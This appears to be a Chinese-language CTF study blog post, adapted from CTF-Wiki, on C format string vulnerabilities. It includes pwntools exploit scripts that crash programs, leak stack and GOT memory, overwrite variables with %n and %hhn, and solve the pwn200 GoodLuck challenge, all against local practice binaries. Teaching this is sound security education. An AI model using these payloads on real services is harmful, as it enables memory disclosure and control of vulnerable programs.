格式化字符串漏洞

本文最后更新于:2022-01-11 下午

格式化字符串

原理介绍

格式化字符串函数可以接收可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。通俗来讲,格式化字符串函数就是将计算机内存中表示的数据转化为可读的字符串格式。几乎所有的C/C++程序都会利用格式化字符串函数来输出信息、调试程序、或者处理字符串。一般来说,格式化字符串在利用的时候主要为三个部分:

  • 格式化字符串函数
  • 格式化字符串
  • 后续参数,可选

格式化字符串函数

输入

scanf

输出

函数 基本介绍
printf 输出到stdout
fprintf 输出到指定FILE流
vprintf 根据参数列表格式化输出到stdout
vfprintf 根据参数列表格式化输出到指定的FILE流
sprintf 输出到字符串
snprintf 输出指定字节数到字符串
vsprintf 根据参数列表格式化输出到字符串
vsnprintf 根据参数列表格式化输出指定字节到字符串
setproctitle 设置argv
syslog 输出日志

漏洞原理

首先来看一下关于printf函数,比如说如下语句

1
printf("color  %s, number %d, float %4.2f", "red", 123456, 3.14);

当执行到printf前的栈情况是这样的,为了看起来更方便,用gdb调试查看。可以看到当前的栈情况,首先是color %s, number %d, float %4.2f,然后是三个参数。

在进入printf之前,函数会首先获取第一个参数,一个一个读取字符会遇到两种情况。

  • 当前字符不是%,直接输出到相应标准输出。
  • 当前字符是%,继续读取下一个字符,会有三种情况。
  1. 如果没有字符,报错;
  2. 如果下一个字符是%,输出%;
  3. 否则根据相应的字符,获取相应的参数,对其进行解析并输出。

假设前面的程序,语句修改成如下

1
printf("color  %s, number %d, float %4.2f");

此时,对于这个函数并没有提供参数,程序就会将栈上的三个变量分别解析为

  1. 解析其地址对应的字符串
  2. 解析其内容对应的整型值
  3. 解析其内容对应的浮点数

后面两个还好一点,但是对于第一个%s来说,如果提供了一个不可以访问的地址,那么程序就会崩溃,这就是格式化字符串漏洞的基本原理。

漏洞的利用

对于格式化字符串的漏洞利用主要是两个利用手段

  • 是程序崩溃,因为%s对应的参数地址不合法的概率较大。
  • 查看进程内容,根据%d%f输出了栈上的内容。

程序崩溃

对于程序崩溃来说,一般情况下这是最简单的利用方式,只需要连续输入若干个%s即可。

1
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s

具体的原理,在前面已经介绍过了。

泄露内存

利用格式化字符串的漏洞,我们可以获取我们想要的输出的内容,一般有如下操作:

  • 泄露栈内存
    • 获取某个变量的值
    • 获取某个变量对应地址的内存
  • 泄露任意地址内存
    • 利用GOT表得到libc函数地址,进而获取libc,也可以获取其他libc函数地址
    • 盲打,dump整个程序,获取有用信息

泄露栈内存

如下的程序

1
2
3
4
5
6
7
8
9
#include <stdio.h>
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}
获取栈变量数值

首先是可以利用格式化字符串来获取栈上的变量的数值。

可以看到打印出来三个十六进制值,可以通过调试进一步查看。

可以看到输入%08x.%08x.%08x,打印出来三个栈上的值

如上的方法,是依次获得栈中的每个参数,也可以通过如下方法,获得指定的参数的值。

1
%n$x

比如还是刚才的程序,输入%3$x,查看结果,看到输出了第三个参数的值,也就是栈上的第四个值。

获取栈变量对应字符串

还可以获得栈变量对应的字符串,只需要输入%s就可以了。

还是这个程序,输入%s查看结果。

泄露任意地址内存

刚才尝试了泄露栈上的连续变量,指定的变量,但还时没有能完全控制我们所要泄露的变量的地址。有时,可能需要泄露某一个libc函数的got表内容,从而得到其地址,进而获取libc版本以及其他函数的地址。

如果我们想要控制格式化字符串,我们就要知道该格式化字符串在输出函数调用的时候,用的是第几个参数,假设此时对应的是第n个参数,那么就可以通过如下方式获得某个指定地址addr的内容

addr%n$s

如何确定是第几个参数,就可以通过输入一长列%p来确定[tag]%p%p%p%p%p%p...

还是拿之前的程序来做例子,输入aaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

从图中可以看出,第四个位置是61616161,也就是我们输入的aaaa的ASCII码,那么现在可以确定是第四个参数。

现在尝试获取以下scanf函数的地址,使用pwntools来构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

sh = process("./2")
elf = ELF("./2")
scanf = elf.got["__isoc99_scanf"]

print hex(scanf)
payload = p32(scanf) + "%4$s"
print payload
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil("%4$s\n")

print hex(u32(sh.recv()[4:8]))
sh.interactive()

看到已经成功打印出了scanf函数的地址

覆盖内存

刚才是通过格式化字符串来泄露栈内存以及任意地址的内存,现在来尝试修改任意地址变量的内存,只要变量对应的地址可写,就可以利用格式化字符串来修改其对应的数值。

%n是不输出字符,但是会把已经成功输出的字符个数写入对应的整型指针参数所指的变量。

示例程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}

一般需要构造的payload如下

1
...[overwrite addr]....%[overwrite offset]$n

在这其中,...表示需要填充的内容,overwrite addr 是需要覆盖的地址,overwrite offset表示需要覆盖的地址存储位置是输出函数格式化字符串的第几个参数。由此确定几个步骤:

  • 确定覆盖地址
  • 确定相对偏移
  • 进行覆盖

覆盖栈内存

确定覆盖地址

首先是要确定覆盖的地址,在这个程序中,就是需要知道变量C的地址,这个示例作为学习,就在代码中直接输出了变量C的地址,比较简单。

确定相对偏移

通过调试确定输入的格式化字符串是第几个参数。

调试之后,可以看到,格式化字符串是第六个参数。

进行覆盖

现在已经知道了要覆盖的地址,还有覆盖的是第几个参数,现在就可以来尝试进行覆盖了。构造的payload如下,首先是变量C的存储地址,程序会打印,只需要接收即可,然后是%012d,刚才知道%n会把成功输出的字符个数写入,所以地址是四个字节,现在还需要十二个,就是十六。然后是%6$n,刚才分析过,是第六个参数。

1
[addr of c]%012d%6$n

完整exp如下:

1
2
3
4
5
6
7
8
9
10
from pwn import *    
sh = process('./3')
c_addr = int(sh.recvuntil('\n', drop=True), 16)
print hex(c_addr)
payload = p32(c_addr) + '%012d' + '%6$n'
print payload
gdb.attach(sh)
sh.sendline(payload)
print sh.recv()
sh.interactive()

看到结果已经成功输出了当C=16时的字符串。

覆盖任意地址内存

覆盖小数字

现在来考虑一下如何修改data段的变量,将其修改为一个较小的数字,比如说小于机器字长的数字,比如说2。根据前面的例子,我们知道,前面是地址,而这个地址最少都是四字节(32位),所以无论如何都不会小于四字节。

现在就需要重新构建一下payload,可以把地址放在中间,而不需要将其放在最前面,只要能够找到对应的偏移量,也是可以得到对应的数值。刚才那个程序,我们已经分析过格式化字符串是第六个参数,要将2写到指定位置的话,那么地址不能放在前面,前面可以放两个字节任意字符,XX%n,此时这已经是第六个参数,然后是$xXX,这就是第七个参数,最后就是地址,也就是第八个参数,那么此时的payload就可以是以下的形式

1
XX%8$nXX[addr]

现在尝试覆盖a的地址,因为a是一个已经初始过得全局变量,在IDA中可以直接看到地址。

完整exp如下:

1
2
3
4
5
6
7
from pwn import *
p = process("./overwrite")
a_addr = 0x804a024
payload = "aa%8$naa" + p32(a_addr)
p.sendline(payload)
print p.recv()
p.interactive()

看到成功输出了a=2的信息。

覆盖大数字

刚才是覆盖小数字,现在来尝试覆盖大数字。首先来了解一下变量在内存中的存储格式。所有的变量在内存中都是以字节进行存储的,然后都是以小端序进行存储的。再来回忆一下格式化字符串里面的标志,发现有这样两个标志:

  • hh对于整数类型,printf期待一个从char提升的int尺寸的整型参数。
  • h对于整数类型,printf期待一个从short提升的int尺寸的整型参数。

确定一下写入的地址,可以直接在IDA中看到,变量b的地址是0x804A028,此时想要的覆盖效果如下:

1
2
3
4
0x0804A028->0x78
0x0804A029->0x56
0x0804A02a->0x34
0x0804A02b->0x12

直接利用wiki中的模板进行计算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr


def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload

完整的EXP如下

1
2
3
4
5
6
7
def forb():
sh = process('./overwrite')
payload = fmt_str(6, 4, 0x0804A028, 0x12345678)
print payload
sh.sendline(payload)
print sh.recv()
sh.interactive()

成功输出对应信息

了解到在pwntools中还有工具fmtstr_payload,可以直接拿来进行计算。

1
2
3
4
5
6
from pwn import *
p = process("./overwrite")
payload = fmtstr_payload(6,{0x804A028:0x12345678})
print payload
p.sendline(payload)
p.interactive()

其中第一个参数为偏移,第二个表示写入的数据,数据地址,以及要写入的信息。

例题

64位程序格式化字符串漏洞

原理

对于64位的程序与32位的偏移计算是类似的,只不过64位函数的前6个参数是存储在相应的寄存器中的。而对于漏洞,程序依旧会按照格式化字符串相应格式对其进行解析。

例子

例题pwn200 GoodLuck

查看一下保护机制

分析程序,看到漏洞点

使用gdb调试程序,断在printf之前,看到此时的找情况,我们想要的flag在第四个位置,然后这是一个64位的程序,对应的前六个参数都会存在寄存器之中,加上这个偏移量就是10,然后还有一个格式化字符串,作为它的参数,偏移量就是9。所以输入%9$s即可。

完整exp:

1
2
3
4
from pwn import *
sh=process('./goodluck')
sh.sendline('%9$s')
print sh.recv()

参考

主要都是参考了CTF-WIKI中的内容,一些文字性的内容,也没有修改,都是直接写了wiki中的内容,感觉自己总结能力也比较差,很多东西写的没人家好,还有一些例子我并没有做,主要目前还不是很懂一些知识点,先挖个坑吧,等以后慢慢再回过头来学习。

https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-intro/


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!